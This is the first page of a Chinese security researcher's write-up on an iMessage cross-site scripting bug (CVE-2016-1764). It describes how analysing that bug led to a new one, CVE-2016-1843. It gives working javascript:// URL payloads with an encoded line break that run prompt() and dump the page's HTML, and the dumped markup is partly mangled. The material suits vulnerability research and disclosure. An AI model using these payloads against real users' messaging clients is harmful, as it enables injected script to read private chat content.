Loading
0

从老漏洞到新漏洞 – iMessage 0day(CVE-2016-1843) 挖掘实录

0x01 前言
注:文章里“0day”在报告给官方后分配漏洞编号:CVE-2016-1843
在前几天老外发布了一个在3月更新里修复的iMessage xss漏洞(CVE-2016-1764)细节 :
https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
https://github.com/BishopFox/cve-2016-1764
他们公布这些细节里其实没有给出详细触发点的分析,我分析后也就是根据这些信息发现了一个新的0day。
0x02 CVE-2016-1764 漏洞分析
CVE-2016-1764 里的最简单的触发 Payload:javascript://a/research?%0d%0aprompt(1) 可以看出这个是很明显 javascript 协议里的一个小技巧%0d%0a 没处理后导致的 xss,这个 tips 在找 xss 漏洞里是比较常见的。
这个值得提一下的是为啥要用 prompt(1) 而我们常用的是 alert(1) ,我实际测试了下发现 alert 确实没办法弹出来,另外在很多的网站其实把 alert 直接和谐过滤了,所以这里给提醒大家的是在测试 xss 的时候,把 prompt 替换 alert 是有必要的~
遇到这样的客户端的 xss 如果要分析,第一步应该看看 location.href 的信息。这个主要是看是哪个域下,这个漏洞是在 applewebdata:// 协议下,这个原漏洞分析里有给出。然后要看具体的触发点,一般在浏览器下我们可以通过看html源代码来分析,但是在客户端下一般看不到,所以这里用到一个小技巧:
javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)
这里是看 html 里的 head 代码:
@media screen and (-webkit-device-pixel-ratio:2) {}link rel="stylesheet" type="text/css" href="file:///System/Library/PrivateFrameworks/SocialUI.framework/Resources/balloons-modern.css">
继续看下body的代码:
javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)

chatitem id="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="1" item-type="header">header guid="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx">headermessage text-direction="ltr">与“xxx@xxx.com”进行 iMessage 通信/headermessage>/header>/chatitem>chatitem id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="2" item-type="timestamp">timestamp guid="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx">date date="481908183.907740">今天 23:23/date>/timestamp>/chatitem>chatitem id="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes">message guid="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes">buddyicon role="img" aria-label="黑哥">div>/div>/buddyicon>messagetext>messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)">messagetextcontainer text-direction="ltr">span style="">a href=" " title="javascript://a/research?
prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)
prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)compact">p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes">p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes">img" aria-label="黑哥">今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)">

分页阅读: 1 2 3
【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。